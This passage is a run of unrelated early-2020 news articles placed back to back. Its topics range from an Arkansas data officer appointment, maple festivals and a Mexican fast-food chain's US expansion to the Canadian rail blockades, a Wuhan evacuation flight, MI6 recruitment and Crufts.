tank; and industrial engineering consulting with Tyson Foods prior to obtaining his Ph.D. He will retain his position with the university while serving as the state's CDO.It may look a little like Ive got experience in a bunch of different fields, but for me theres a thread tying it all together and thats the use of data and evidence to improve effectiveness and efficiency, whether that be in the private sector or public sector, McGee said. Im delighted to have the opportunity to use my experience and knowledge to hopefully accelerate the effort here in Arkansas thats already underway.Under Gov. Asa Hutchinson, Arkansas underwent a reorganization of cabinet-level positions last year, reducing the number of directors from 42 to 15 secretaries. At that time, the effort was spearheaded by then-Chief Transformation Officer Amy Fecher, who now oversees TSS.Fecher said in a prepared statement that the hiring of McGee aligns with the mission of continued transformation in Arkansas government.We are excited to have Dr. McGee serve as the states Chief Data Officer in a collaborative effort with the University of Arkansas. Fecher said in the release. His unique experience brings a fresh perspective to state government."As a bridge between the university system and the state, McGee said he will apply academic tools for integrating and analyzing data. He said his goal is to develop a plan where DIS can provide actionable insight into agencies and high-profile programs using tools like open data portals.I think its martialing our resources and figuring out which direction we want to go, McGee said. A lot of that groundwork has been done by internal staff here, so I think Im in a luxury position of coming in, being able to take that and run with it. NORTHWEST CT In late winter, the days become noticeably longer. Though the nights are still below freezing, the warmth of sunny days begins to thaw the earth. These ideal conditions cause the sap to start flowing in New Englands maple trees, and its this sap that is used to make the sweet, delicious treats such as maple syrup, maple sugar and maple candies. Here in Connecticut, the maple sugaring season begins in early February and lasts through the end of March. Sugarmakers drill holes into the trunks of mature sugar maples, insert a spout and attach buckets under those spouts to collect sap. Some sugarmakers use tubing to collect and direct the sap into a large, central container. The clear liquid that flows from the trees contains 2 to 4 percent sugar, and the rest is water. Once the sap is collected, sugarmakers bring the sap to the sugarhouse to boil off the excess water in an evaporator heated with a wood fire, natural gas or propane. It takes 40 gallons of sap to produce one gallon of syrup. Maple sugaring has been a New England tradition for generations. However, turning maple sap into syrup was practiced by Native Americans long before the first European settlers arrived on North American soil. Maple sugaring season was an important event in the annual life cycle of Native Americans, said Gabriel Benjamin, educator and events organizer at the Institute for American Indian Studies in Washington. This annual occasion served not only to produce sustenance for the Native Americans, but also to maintain and strengthen social bonds. Large extended families would gather at sugar maple plots during the late winter and early spring. This brought people together to share in the work, as well as the gifts of the maple trees, Benjamin said. It also allowed people to share information about friends, relatives and social and political events, so it was an important way of communication in a time before postal systems and cell phones, he said. When Europeans arrived on North Americas shores, it wasnt long before they, too, learned how to make syrup from maple sap. Colonists used kettles to boil their sap using a lazy mans balance and they created spiles, or spouts, to collect sap from smaller holes in the trees rather than huge gashes, said Wendy Miller, education program manager at Sharon Audubon. This year, both IAIS and Sharon Audubon will be hosting maple festivals, among many other locations. These events give the public the opportunity to witness firsthand the maple sugaring process and sample some maple products. The festival at IAIS, at 38 Curtis Road, Washington, will be held on Saturday, March 14 from 11 a.m. to 3 p.m. Jeff and Judy Kalin of Primitive Technologies will be on hand to demonstrate traditional techniques used by Native Americans used to turn maple sap into syrup and sugar. Storytelling, crafts and a pancake brunch, with local maple syrup, of course, will be offered, too. Cost of admission is $10 for adults, $8 for seniors, $6 for children. The pancake brunch is an additional $5 per person. For more information, visit www.iaismuseum.org/. The festival at Sharon Audubon, 325 Cornwall Bridge Road, Sharon, will be held on Saturday, March 21, from 11 a.m. to 4 p.m. Activities will include 45-minute guided tours of the centers sugaring operation in addition to recreations of Native American and early Colonial sugaring methods. Additionally, the centers very own maple syrup and maple-sweetened baked goods, will be for sale. Cost of admission is $7 for adults and $5 for children ages 12 and under. For more information, visit www.sharon.audubon.org/events/2020-maplefest-and-maple-bake-sale. "The reason why I always have the US in mind, even though Australia is home and the foundations are here, is because in Australia, it's so hard to build a great business," he says. In Australia, it's so hard to build a great business. [...] So if you build a brand here that people love, and you can be successful financially, you can go anywhere. Steven Marks "There's a small population, right, labour costs are so high, fresh fruit and veg is so expensive and rents are so high. So if you build a brand here that people love, and you can be successful financially, you can go anywhere. I truly believe that." Marks says labour costs are a major issue in Australia, with 10 staff full-time at Guzman y Gomez's head office of 100 just ensuring staff are paid correctly. "The labour laws here are so hard to interpret," he says, pointing to the collapse of celebrity chef George Calombaris' restaurant empire following staff underpayment. "All I know is 400 people have lost their jobs and that is not good," he says. "Calombaris, I don't know him, I don't know if he's a good guy or he's a bad guy, [...] but I think we have to do a better job." Marks says the issue is the complexity of the system and labour laws need to be updated to reflect a 24-7 economy. "The labour laws in Australia are so antiquated, it's all we talk about because it would absolutely kill me, like everything our guys have to be paid correctly," he says. "But to interpret it is so difficult, man that's all we do. I think some people are fraudulent but I think a lot aren't. And that's the problem." From street kid to hedge funds Marks describes himself as a "street kid" growing up in New York with a single mother who raised three boys. "My dad growing up was a pool hustler out of Miami Beach and he died homeless and a drug addict," he says. "So I've seen how bad life is." However with a mind for numbers Marks went to the prestigious Wharton business school at the University of Pennsylvania and got his start working for legendary hedge fund manager Steve Cohen, whose life proved the inspiration for the television series Billions. "I don't know anything else, I just know complete failure or success," Marks says. Marks and Hazan started Guzman y Gomez with their own savings and then brought in 10 shareholders including Peter Ritchie, the founder of McDonalds Australia, Guy Russo, former chief executive of McDonald's Australia, Kmart and Target, and former McDonald's executive Steve Jermyn, before attracting $44 million from private investment firm TDM Growth Partners in 2018. These experienced shareholders have helped Guzman y Gomez use franchising to achieve its fast growth. Franchisees pay up to $1 million to buy a Guzman y Gomez store and then ongoing fees of 8 per cent royalty and 3 per cent marketing. Aligned interests Marks says franchising has had a "bad rap" in Australia which has often been deserved with the parliamentary inquiry into franchising highlighting structural issues with the system. He claims Guzman y Gomez is different, with 30 company-owned stores ensuring the owners of the business have the same interests as the franchisees. "Be very wary of a franchise that don't own, doesn't have any corporate restaurants," he says. "We're growing our corporate restaurants. We don't take any rebates. I believe that anybody sort of buys into your dreams that you're accountable to making sure that they fulfil theirs." Russo, who also chairs the Guzman y Gomez board, was on board as soon as he met Marks. Loading "I fell in love with him and his food immediately," the fast food and retail veteran says. "I normally don't invest in startups but I thought this could be great for our grandchildren or we could lose all our money," he says. "I loved the food and I loved him, he had all the passion you wanted in an executive." Russo says it is "too early to call" whether Guzman y Gomez can succeed in the US. "I have a pretty philosophical view of overseas expansion because of McDonald's, which is open one shop and wait patiently to see if the customers love it, and if you can get the right economics out of the store," he says. Former McDonald's Australia, Target and Kmart chief executive Guy Russo is an investor in Guzman y Gomez and chairman of the board. Credit:Peter Braig All board members are unpaid and Russo is so enthusiastic about the business he was mopping the floors and taking a shift on the drive-through at Guzman y Gomez's Chicago store opening. "It's exciting to be part of the journey," Russo says. Investor Tom Cowan of TDM says Guzman y Gomez faces significant competition in the US from incumbent Mexican chains Chipotle and Taco Bell, which between them turn over more than $US10 billion ($13 billion) a year. "We think Guzman y Gomez has a far better customer experience both in terms of the quality of the food and also being able to deliver at speed," he says. "Ultimately if you have a better customer experience and the right management team you should be able to execute on that opportunity." Loading The next step for Guzman y Gomez is an initial public offering in two to three years, with Cowan describing the franchise as having "all the qualities required" for a successful IPO. "My dream as a kid was I always wanted to list the business," Marks says. "I want people to be able to own Guzman y Gomez, to have shares in something that they love. "I'm going to build the next McDonald's, I'm going to build the next Chipotle, and the team believes in it and I believe in it. I really want us to build the best restaurant company in the world and I want to change the way people eat." The reporter attended SuiteConnect in Sydney as a guest of NetSuite. (Newser) A seven-day "reduction in violence" begins Friday in Afghanistan between US troops and the Taliban, a move the BBC notes is meant to lead to a more permanent ceasefire. "After decades of conflict, we have come to an understanding with the Taliban," Secretary of State Mike Pompeo tweeted. "This is an important step on a long road to peace, and I call on all Afghans to seize this opportunity." If the truce holds for the week, Pompeo notes in a longer note that both sides will sign on Feb. 29 the first part of a deal aimed at ending nearly 20 years of conflict. The Afghan government wasn't involved in the yearlong negotiations between the US and the Taliban. "This is a critical test of the Taliban's willingness and ability to reduce violence, and contribute to peace in good faith," NATO Secretary General Jens Stoltenberg says in a statement. story continues below He adds: "This could pave the way for negotiations among Afghans, sustainable peace, and ensuring the country is never again a safe haven for terrorists." Per NBC News, the "RIV" deal came about after the militants rejected the idea of a full ceasefire with Afghan forces; it's unclear what the exact terms of deal are. Meanwhile, the Washington Post reports on blowback against a Thursday op-ed in the New York Times entitled "What We, the Taliban, Want," penned by Sirajuddin Haqqani, the deputy leader of the Taliban. Both readers and Times reporters voiced upset that Haqqani was given a platformespecially because he's been designated by the FBI as a "specially designated global terrorist" said to have been involved in deadly military strikes against US troops and Afghan citizensbut a Times rep says "his perspective [is] relevant at this particular moment." (Read more Afghanistan war stories.) Advertisement Amateur archaeologists have found the mummified ancient remains of 72 pre-Hispanic 'Guanche' natives in the holiday island of Gran Canaria. The remains, of 62 adults and 10 newborns, were found in the Valley of Guayadequeon on the island of Gran Canaria, part of the Spanish Canary Islands. Archaeologist Veronica Alberto and culture councillor Javier Velasco confirmed the discovery and said that the cave dates back to between the eighth and 10th centuries. Amateur archaeologists have found the mummified ancient remains of 72 pre-Hispanic 'Guanche' natives in the holiday island of Gran Canaria The remains, 62 adults and 10 newborns, were found in the Valley of Guayadequeon the island of Gran Canaria, part of the Spanish Canary Islands It is filled with the remains of the Guanche people, aboriginal inhabitants of the Canary Islands at the time. Spain colonised the islands between 1402 and 1496 and the Guanches were ethnically and culturally absorbed by the settlers. The Guanches are believed to have migrated to the archipelago around 1,000 BC. Ms Alberto told local media: 'There are many burial caves in Gran Canaria, but not many like this one.' It is filled with the remains of the Guanche people, aboriginal inhabitants of the Canary Islands at the time Spain colonised the islands between 1402 and 1496 and the Guanches were ethnically and culturally absorbed by the settlers Spain colonised the islands between 1402 and 1496 and the Guanches were ethnically and culturally absorbed by the settlers The Guanches are believed to have migrated to the archipelago around 1,000 BC. Pictured: The bones which litter the floor of the cave 'The discovery of the newborn remains is important as they were not included in previous findings until very recently. We know now they can be found in these types of cave burials.' Local media said that Gran Canaria boasts around 1,200 archaeological sites in total. During the study, experts also found the remains of the burial shrouds traditionally made from animal skin or vegetable fibres. Ms Alberto said: 'We can confirm that all the pre-Hispanic people in the Canary Islands were prepared the same way for the burial ceremony.' Ms Alberto told local media: 'There are many burial caves in Gran Canaria, but not many like this one' 'The discovery of the newborn remains is important as they were not included in previous findings until very recently. We know now they can be found in these types of cave burials,' Ms Alberto added During the study, experts also found the remains of the burial shrouds traditionally made of animal skin or vegetable fibres Ms Alberto said: 'We can confirm that all the pre-Hispanic people in the Canary Islands were prepared the same way for the burial ceremony' The cave is located 23 feet (seven metres) from the ground and experts had a hard time climbing up to it, according to reports. The cave was initially found with the use of a drone by members of the amateur archaeology group 'El Legado', formed by Ayose Himar Gonzalez, Jonay Garcia and Jesus Diaz. Mr Gonzalez said: 'We were flying a drone and we took some pictures of the cave. It is in a very difficult place to access and you need to climb a cliff to reach the site. People thought the photos were fake because of all the bones there.' The cave is located seven metres (23 feet) from the ground and experts had a hard time climbing up to it, according to reports The cave was initially found with the use of a drone by members of the amateur archaeology group 'El Legado', formed by Ayose Himar Gonzalez, Jonay Garcia and Jesus Diaz Mr Gonzalez said: 'We were flying a drone and we took some pictures of the cave. It is in a very difficult place to access and you need to climb a cliff to reach the site. People thought the photos were fake because of all the bones there' The cave was discovered at the end of June 2019 but was only reported to authorities recently over fears it may get vandalised or looted The archaeology enthusiast said that they discovered the cave at the end of June 2019, but they only reported it to the authorities recently out of concerns that it may get vandalised or looted. Mr Gonzalez said: 'The cave should be closed off and preserved with the bones left there to respect the site. 'We decided to report it because we want the local authorities to preserve and respect it.' Advertisement A baby elephant was eaten alive by a pack of savage hyenas as its helpless mother was forced to watch after they both became stuck in a mud pit on the plains of Zimbabwe. The hyenas tore off the baby's leg as they attacked it overnight while the mother threw mud over her head in a desperate attempt to scare off the predators. But she was powerless to save her baby, which was killed and devoured by the hyenas. She then slowly died during a rescue attempt as she lay trapped in the mud next to her baby's rotting corpse in Mana Pools National Park. The heartbreaking scene was captured by wildlife photographer Jens Cullman, 50, from Germany, who returned to the site at least twice to picture the plight of the helpless mother and baby. The mother was forced to watch as the hyenas killed and devoured her baby at Mana Pools National Park, Zimbabwe She tried to save the youngster by hurling mud over her head, but was unable to scare off the predators. She is pictured here throwing the mud to scare off vultures that are picking at the baby's rotting corpse The mother elephant slowly starved to death as she watched hyenas eat her baby and vultures pick at its corpse The hyenas also ripped off the baby elephant's leg as they mauled it to death while it was stuck in the mud The mother pictured desperately rearing her head and trunk as she remains stuck in the pool in Zimbabwe Distressing pictures from when he first found the stranded pair show the mother and baby desperately lifting their trunks in the air as they remain stuck in the mud pit as hyenas patrol nearby. When he returned the next morning he found the baby was dead, with a pack of hyenas picking at its mangled corpse while the mother could only watch. He kept returning to the site to photograph the last days of the mother as she slowly succumbed to dehydration. The last time he saw her she was surrounded by vultures patiently waiting for her last breath. The stricken female later died when an attempt to rescue her was made, Mr Cullman said. He found them while out on a morning game walk in the park, and said he thought they were there for a few hours beforehand. 'It's the worst thing that can happen to a mother,' he said. 'Both you and your baby get suck in the mud and she couldn't help because her trunk was out of reach'. 'For the mother to see and hear the noises at night as the hyenas kill her baby - I imagine that was actually very upsetting.' The mother and baby pictured together a few hours after they were found on a morning game walk. Hyenas were nearby The mother pictured with her baby (circled) shortly after getting stuck. Hyenas were seen circling the stricken pair nearby The mother slowly starved to death as she remained stuck without food and water. She was also in the full glare of the sun Vultures pictured perched on top of the mother and waiting around her before she died in the pool in Zimbabwe Mr Cullman said he saw the hyenas arriving on the first day. 'They killed the baby at night,' he said. 'I didn't see that. In this park I'm not allowed to go out at night time so I went out first thing in the morning and saw the hyenas feeding on the baby. They must have killed it overnight because I left in the afternoon when it was still alive. 'The mother couldn't move at all. At one point she lifted her head when the hyenas were next to her and it looked like she used her trunk to throw mud over her back towards them. 'In one photo you see her head and trunk up in the air and mud flying through the air at vultures sitting on her baby.' Mr Cullman said he was unable to rescue the pair as 'you can't just go out with a shovel and start digging'. 'I have other photos of a similar incident,' he said, 'where ten or 15 people are digging out two elephants... it's a mission, it's a big thing.' Wildlife photographer Jens Cullman returned to the pool to take the images. The mother is shown here raising her trunk as vultures feast on her baby's corpse Hyenas feast on the baby elephant's carcass as the mother raises her trunk and flaps her ears in an attempt to stop them The mother raises her trunk in desperation as she slowly succumbs to dehydration and starvation while stuck in the pool The mother pictured resting her head on the mud and raising her trunk. Mr Cullman said it was not possible to save them He took the photos of their suffering as it was a chance to document their struggle. 'If you break it down, it's nature and this happens,' he said, 'It's survival of the fittest. It was very hard to take those photos but I saw it as a chance to document it in a way'. 'I thought a long time about posting or not because I thought they will have quite an impact on the viewer. For me it's shocking. The close-up photos of the baby in the mud are unique because it's so sad. 'You see this helpless little elephant baby and of course I knew it would probably die because I couldn't help it on my own.' 'I heard the mother died while they were trying to rescue her. I didn't go there anymore. I actually have to say at the end it was so sad for me because I couldn't do anything.' When Jens shared the pictures he said he received backlash from people who said he could have tried to help the stranded elephants. And he admits that while he believes it's usually better not to interfere in nature, he felt it was worth trying to get help this time because so many animals had suffered already. The baby elephant pictured trapped in the mud. It was virtually submerged with only its trunk above the mud The baby, pictured here almost fully submerged in the pool, was killed overnight by a pack of hyenas The baby pictured virtually submerged in the mud with its mouth and body stuck in the pool in Zimbabwe Jens said: 'I posted the pictures and I got quite a lot of sh*t from people saying 'you just took these to get clicks and you could have helped these elephants'. 'But they don't know the conditions there. They don't know how it is to dig an elephant cow out of the mud alone. It's not possible. It's definitely not possible. 'Usually actually I'm of the opinion to never interfere with nature but it was so different this year in Mana Pools with all these animals starving and suffering [due to drought]. 'It makes a difference if you can dig out a few and they will survive. The number of elephants is declining and if you can save a handful more, I think it's worth it. 'My Instagram account is a mix of everything I think - harsh things, brutal things, nice things and I think that's reality. I try to show real nature - everything from very brutal, sad things like this to nice, cute things. 'It's important to show the full picture because we've lost connection. Most people on Earth live in big cities. This is just the real nature.' Questo comunicato e stato pubblicato piu di 1 anno fa. Le informazioni su questa pagina potrebbero non essere attendibili. Market Outlook Natural Coconut Oil might just be the most versatile kind of oil on the planet. Not only it can be used for hair nourishment, but natural coconut oil has numerous uses in health foods, natural medicine, natural beauty treatments and so much more. Coconuts are grown in abundance in more than 60 countries. The amount of coconut that is produced globally is around 60 million tons per year. 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Launching new product variants, attaining the smaller players in the market causing awareness about the benefits of using Natural Coconut Oils through various promotional activities and programs are some of the key drivers supporting the growth of the market in the near future. OTTAWAAfter two weeks of calls for patience and stalled attempts at negotiation, a stern-faced Prime Minister Justin Trudeau emerged from high-level meetings Friday saying barricades on rail lines and other major transportation routes must come down. "We are waiting for Indigenous leadership to show that it understands," he said in an Ottawa news conference Friday. "The onus is on them." Injunctions to clear tracks must be obeyed and the law must be upheld, he said, adding that it is pointless to continue making overtures to Indigenous leaders if they aren't accepted. "Let us be clear: all Canadians are paying the price. Some people can't get to work, others have lost their jobs," Trudeau said. "Essential goods cannot get where they need to go." The situation "is unacceptable and untenable," he said. The blockades, particularly one on a critical east-west rail line in Ontario, are responses by Indigenous people and supporters to a move by the RCMP to clear protesters who had been blocking access to a work site for a major natural-gas pipeline project in British Columbia. Hereditary chiefs of the Wetsuweten Nation oppose the work on their traditional territory, despite support from elected band councils along the pipeline route. On Thursday, the RCMP in B.C. sent a letter to the traditional Wet'suwet'en leaders, telling them the force intends to move its officers off the access road and station them instead in the nearby town of Houston. In response, one of the traditional chiefs of the Wet'suwet'en Nation said Friday his people are willing to engage in nation-to-nation talks with the B.C. and federal governments, but not until the RCMP in B.C. have left traditional Wet'suwet'en territory entirely and Coastal GasLink, the pipeline company, ceases work in the area. Hereditary Chief Woos, also known as Frank Alec, said the B.C. RCMP have not yet left the Wet'suwet'en territory and charged they have also "increased harassment, made illegal arrests, increased surveillance and monitoring of Wetsuweten people and their invited guests." "This is completely unacceptable and far from a show of good faith and contradicts the announcement of the RCMP," Woos said. Until their demands are met, the barricade in Ontario erected by the Mohawks at Tyendinaga will not come down, said Kanenhariyo, who also goes by Seth LaFort, of the Mohawks of Tyendinaga. The Wet'suwet'en hereditary chiefs were visiting their supporters at Tyendinaga to thank them and held a news conference afterward. Woos took issue with Trudeau's comments that the blockades are causing trouble for Canadians, suggesting the Wet'suwet'en are facing injustice. "There is a difference between inconvenience and injustice total difference. Don't confuse one with the other," Woos said. Meanwhile, the prime minister is contending with pressure from several premiers to take more swift and decisive action to end the blockades. "We've sent a message clearly with our willingness to say, quite publicly, that we don't believe it's in the best interests of protesters or the general public to stand back in respect of the laws being broken, that it can endanger people's lives and endanger their well-being," Manitoba's Brian Pallister said Friday. Ontario Premier Doug Ford issued a statement Friday saying "enough is enough." "The illegal blockades must come down. This is a national emergency and innocent people from coast to coast are being hurt. The federal government must co-ordinate action to take down these illegal blockades across the country. Quebec Premier Francois Legault made it clear Thursday provincial police in his province would dismantle a blockade in a suburb south of Montreal as soon as an injunction was granted. Canadian National Railway received a court injunction to end the blockade in St-Lambert Thursday. By late Friday afternoon, police had issued several warnings to the protesters but had not moved in. Alberta's Jason Kenney, a former federal Conservative cabinet minister, pulled no punches in a Friday press conference. He said he made it clear to the prime minister on a conference call with the other premiers Thursday evening that the blockades are having devastating impacts on people across the country. He said it is scaring away investment and giving the impression that Canada can't operate as a modern democratic country. This is just the latest in an increasing pile-on of federal, provincial and business leaders pressing Trudeau and the federal government to end the blockades. Conservative Leader Andrew Scheer said Friday he doesn't believe Trudeau's ultimatum will work and warned that making concessions to the Wet'suwet'en will embolden future activists who oppose resource development projects. "For days, he's been basically telling these illegal protesters that he's taking the use of police forces off the table. He's basically been giving them a signal that they can act with impunity. He's also talked about offering concessions to people who are breaking the law," Scheer said. "This is a very dangerous precedent to set. And as we face developments in the future, as it relates to other energy projects, these protesters will continue to be emboldened as they pursue their anti-free market, anti-energy development agenda." Despite his firmer tone Friday, Trudeau stressed that his government remains committed to dialogue and reconciliation with the Wet'suwet'en hereditary leadership, but the ball is now in their court to make that happen. "Our government has kept engaged at all levels, we repeated our calls for collaboration, we showed respect," Trudeau said. "But Canadians who are feeling the very real impacts of these blockades are running out of patience." He also made a point to draw a line between the Wet'suwet'en protesters and their allies those upset at the long history of abuse perpetrated against Indigenous peoples in Canada and others who "use or engage with Indigenous protests to call out a particular project with which they disagree." While these "other" protesters may be advancing a view that is deeply felt, their concerns are "not anchored in the deep wrongs that have been done in ignoring and marginalizing Indigenous leadership and Indigenous voices in this country," Trudeau said. B.C.'s John Horgan struck a more understanding note than some of the other premiers Friday. He said his government continues to be ready to engage in talks with Wet'suwet'en hereditary chiefs. But Horgan said more people from the community, other than the hereditary chiefs, have begun to speak out, including the matriarchs who have historically been the keepers of the traditional practices of the Wet'suwet'en people. Horgan said he expects Na'moks, a hereditary chief who also goes by John Ridsdale, will be hearing from people in the community about his refusal to meet with the province, because that's "not how you have respectful dialogue with your neighbours." He said he believes the vast majority of northern B.C. residents and Wet'suwet'en people want to find a way forward and his government remains "at the ready" to help reach that outcome. Read more about: Galway Hooker racing returns to TG4 with intense local rivalry playing out on 'Badoiri'. In the show's second series, eight families battle it out and raise their rust-red calico sails among the rocky inlets west of Galway Bay. Sailing Ireland's oldest and most native boats, the competitors in the Galway Hooker Association racing league welcome a new boat and a new family, 'The Truelight'. The new crew and boat, 'The Truelight'. Picture: TG4 Producer and director of Badoiri, Donncha Mac Con Iomaire said there is deep tradition linking the past and present racing families. "There are few societies in the world where a 200 year old boat is the epicentre of the same family for 2 centuries. "The maritime community of Connemara never underestimates the Atlantic, and the unity of their families cannot afford to succumb to failure at sea. "This ancient world that works hard and plays hard is what is still most genuine culture of Ireland." The rocky inlets west of Galway Bay host the Galway Hooker boat racing series each year.Picture: Once the workhorses of the west coast, the distinctive sails of the Galway Hookers now race for glory throughout the summer months. Season one followed several families as they battled one another for the coveted prize of All-Ireland champions. Season two delves deeper into sailing families lives and histories. 'Badoiri' will air on TG4 on Thursday, March 5 at 8pm. [February 21, 2020] Animals May Soon Have a Voice in California Courts Today Assemblymember Adrin Nazarian (D, Van Nuys) introduced Riley's Law, Assembly Bill AB 2645 that would allow judges to appoint courtroom advocates to represent the interests of an animal in a criminal animal proceeding. Advocates would be comprised of pro bono attorneys or supervised law students. The bill is sponsored by Animal Hope in Legislation and Animal Legal Defense Fund. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200221005480/en/ Riley (Photo Credit: Marc Ching, Animal Hope and Wellness Foundation) Riley's Law is named in honor of a dog who was severely abused as a puppy. He suffered a broken jaw and acid burns on his face and body. Riley was rehabilitated and adopted out to a loving family by the Animal Hope and Wellness Foundation, a San Fernando Valley based dog rescue. "As a rescuer, I have seen some of the most horrific acts of violence against dogs and cats, animals we call our family members," said Mac Ching, Founder of Animal Hope in Legislation and Animal Hope and Wellness Foundation. "When it comes to such cases, these animals deserve a voice that would speak on their behalf. Riley's Law would do just that." Animal crimes involve victims who are unable to speak for themselves. The advocate's duty would be to speak for the needs and interests of an animal crime victim. These needs center on the animal's health and well-being as well as the prevention of future animal cruelty. According to Jennifer Hauge, Animal Legal Defense Fund, "A dog may languish in a shelter while her abuser awaits trial, kittens born to a cat held as evidence will need to be placed in loving homes, and dogs used in fighting will almost certainly require rehabilitation." Defense attorneys have a duty to their client and prosecutors have a duty to the state, but no one is tasked with directing the court's attention to the animal's needs. Advocates can be appointed at any point after a criminal cruelty proceeding commences-and are appointed entirely at the judge's discretion. "The interests of these animal victims must not go unaddressed," said Assemblymember Nazarian. "As such, this proposed new law will give judges, prosecutors, and defense counsel more complete information from which to operate." The first Courtroom Animal Advocate Program was enacted in 2016 in Connecticut. Federally, during the 2007 Michael Vick dog fighting case, a federal judge appointed Professor Rebecca Huss as a guardian ad litem. Professor Huss was tasked with making independent recommendations to the court for the disposition of each seized dog after considering their well-being. This innovative decision has been credited with saving the lives of the nearly 50 dogs seized as part of the case and ultimately for shifting the national standard for how dogs used for fighting are rescued and rehabilitated. Animal Hope in Legislation is a social welfare organization incorporated under section 501(c)(4) of the Internal Revenue Code and formed in 2018 as a separate lobbying affiliate of Animal Hope and Wellness Foundation. Animal Hope in Legislation focuses exclusively on animal advocacy, fighting to end animal cruelty by lobbying for strong laws and supporting humane candidates for office. Animal Hope and Wellness Foundation is a 501(c)(3) non-profit based in Los Angeles that rescues, rehabilitates and rehomes abused dogs and cats locally and abroad. For more information visit animalhopeandwellness.org. View source version on businesswire.com: https://www.businesswire.com/news/home/20200221005480/en/ [ Back To TMCnet.com's Homepage ] China on Friday denied any delay in allowing a special Indian flight to the coronavirus-hit Wuhan city to deliver medical supplies and evacuate remaining Indians from there, saying the concerned departments of both the countries were in touch to finalise the schedule. India on February 17 announced that it would send Indian Air Force's largest plane C-17 Globemaster with medical supplies to Wuhan, the epicentre of the novel coronavirus, and bring back its nationals as well as citizens from all neighbouring countries who were still stuck there on the return flight. The special flight to Wuhan is reportedly awaiting clearance from China. India evacuated 647 Indians and seven Maldivians by operating two Special Air India flights to Wuhan earlier this month. Asked why there is a delay in granting permission to the third Indian flight, Chinese Foreign Ministry spokesman Geng Shuang told an online press briefing on Friday that China had assisted India earlier to evacuate a large number of Indians from Wuhan and Hubei province. "The competent departments on the two sides are still in communication on the arrangement for the remaining 80 people that India plans to fly home. There is no such thing as China delaying giving flight permissions," he said. Geng said the Chinese government attached high importance to the lives and health of all foreign nationals in China. A Chinese official on Thursday said 29 foreign nationals in China were infected with the novel coronavirus and 18 of them had recovered. "We have offered them all necessary help they need and will continue to do so. At present, China's prevention efforts have been proved to be effective," he said, referring to Chinese health officials' observation that the cases of the virus had started declining. "We hope that relevant countries will respect the reasonable recommendations given by the WHO and avoid overreacting. China will continue to work with the international community to fight against the epidemic and promote the global cause of public health," he said. Meanwhile, the death toll in the novel coronavirus in China has risen to 2,236 with 118 more casualties reported, mostly from the hard-hit Hubei province, while the overall confirmed infection cases have climbed to 75,465, Chinese health officials said on Friday. Also read: China sees uptick in coronavirus cases; Japan, Singapore on brink of recession Also read: Coronavirus: Manufacturers face logistical challenges as China moves back to normalcy Also read: Coronavirus: Paracetamol prices rise by 40% amid outbreak of deadly virus Sir Alex Younger has today revealed how teenagers are being recruited to MI6 as it cut its minimum age to 18 to attract the 'best talent' from across the country. This unprecedented move by the Secret Intelligence Services comes amidst a background of sweeping technological and geopolitical change. By lowering the minimum age of employment from 21, MI6 hopes to capture the hearts and minds of a generation savvy with modern technology. SIS invited 30 teenagers from inner London into its Vauxhall Cross HQ to encourage school leavers to apply for a career in British intelligence. Dispelling false perceptions, such as its exclusive recruitment of Oxbridge graduates, and intelligence officers having a 'licence to kill', Sir Alex - known simply as C - told the stunned teenagers: 'Your generation is key.' Sir Alex Younger (pictured) told a Q&A session at Vauxhall Cross HQ how MI6 hopes to capture the hearts and minds of a generation savvy with modern technology According to the Evening Standard, many of the youngsters only realised they were going to an MI6 event when their buses pulled up outside the security gates. Britain's teenagers have been propositioned to consider serving as intelligence officers combating threats posed by hostile foreign governments, terrorist organisations, and organised criminal gangs. They can also apply for posts in tech, business support, HR, and finance, and move from IT support to spy posts if they show the right skills and values. Sir Alex told the teenagers: 'We will work hard to stop bad stuff happening and we will be tough. But we are not the same as the people who we are working against. We do obey the law and we do adhere to the values of our country. Dispelling false perceptions, such as its exclusive recruitment of Oxbridge graduates, and intelligence officers having a 'licence to kill', Sir Alex - known simply as C - told the stunned teenagers: 'Your generation is key' (Vauxhall Cross HQ pictured) 'The way we are going to succeed is by being cleverer, by out-thinking them, by being more creative. We need people who think out of the box.' Britain's most senior career intelligence officer claimed the move to broaden its recruitment would help reduce the risk of group-think. Sir Alex also told the Evening Standard how MI6 hopes to increasingly work with private sector companies to develop the next generation of spy tools. To work in British intelligence, individuals must be a born or naturalised British citizen, and have lived in the country for eight of the past 10 years. They must also have five GCSEs, Grades A to E, including maths and English language. V eteran television presenter Peter Purves is returning to the Crufts dog show in a new role, months after announcing he was axed from Channel 4s coverage. The former Blue Peter host and Doctor Who star, 81, will present a daily show for the pet joint supplement brand YuMOVE. Purves, who served as a Crufts presenter and commentator for 41 years, said his new appointment showed there was certainly life in the old dog yet. In December, he announced that Channel 4 bosses had told him they were refreshing their coverage and he was surplus to requirements. PA He said he was shocked and hurt by the news but that he had been invited by the broadcaster to return as a paid guest contributor. Purves new show will be broadcast from the NEC in Birmingham between March 5 and 8 on YuMOVEs social media channels, including a Twitter Q&A and a Facebook Live segment. He said: Its great to be involved with Crufts, something that has been a huge part of my life for the past 41 years, and it just shows theres certainly life in the old dog yet. We all get older, both humans and dogs, but with the right support and by staying active, we can remain happy and healthy and keep doing the things we love so here I am! Crufts 2019 - In pictures 1 /48 Crufts 2019 - In pictures Russian Toy dogs named Pride (left) and Austin PA Susan Reilly and her Pyrenean Mountain Dog named Boris arrive to attend the second day of the Crufts dog show at the National Exhibition Centre Oli Scarff/AFP/Getty Images An American Cocker Spaniel at the Birmingham National Exhibition Centre (NEC) on the first day of the Crufts Dog Show 2019 PA Jagger an Old English Sheepdog is groomed during the annual Crufts Dog Show at the NEC Arena in Birmingham EPA Dogs and their handlers arrive to attend the second day of the Crufts dog show at the National Exhibition Centre in Birmingham AFP/Getty Images Angel Great Dane and Bobbi a Yorkshire Terrier cross during the annual Crufts Dog Show at the NEC Arena in Birmingham EPA A Leonberger rests at the Birmingham National Exhibition Centre (NEC) for the second day of the Crufts Dog Show. PA A Samoyed dog rests at its pen on the second day of the Crufts dog show AFP/Getty Images Boxers stand on their benches during the second day of the Crufts Dog Show in Birmingham Reuters A Shetland sheepdog rests at its pen on the second day of the Crufts dog show at the National Exhibition Centre in Birmingham AFP/Getty Images Dogs and their handlers arrive to attend the second day of the Crufts dog show at the National Exhibition Centre in Birmingham AFP/Getty Images An Old English Sheep dog at the Birmingham National Exhibition Centre (NEC) for the second day of the Crufts Dog Show PA A man displays his basset hound dog in a show ring as they take part in the Eukanuba World Challenge competition on the first day of the Crufts dog show at the National Exhibition Centre in Birmingham AFP/Getty Images A chow chow dog named Mr Raffles arrives to attend the first day of the 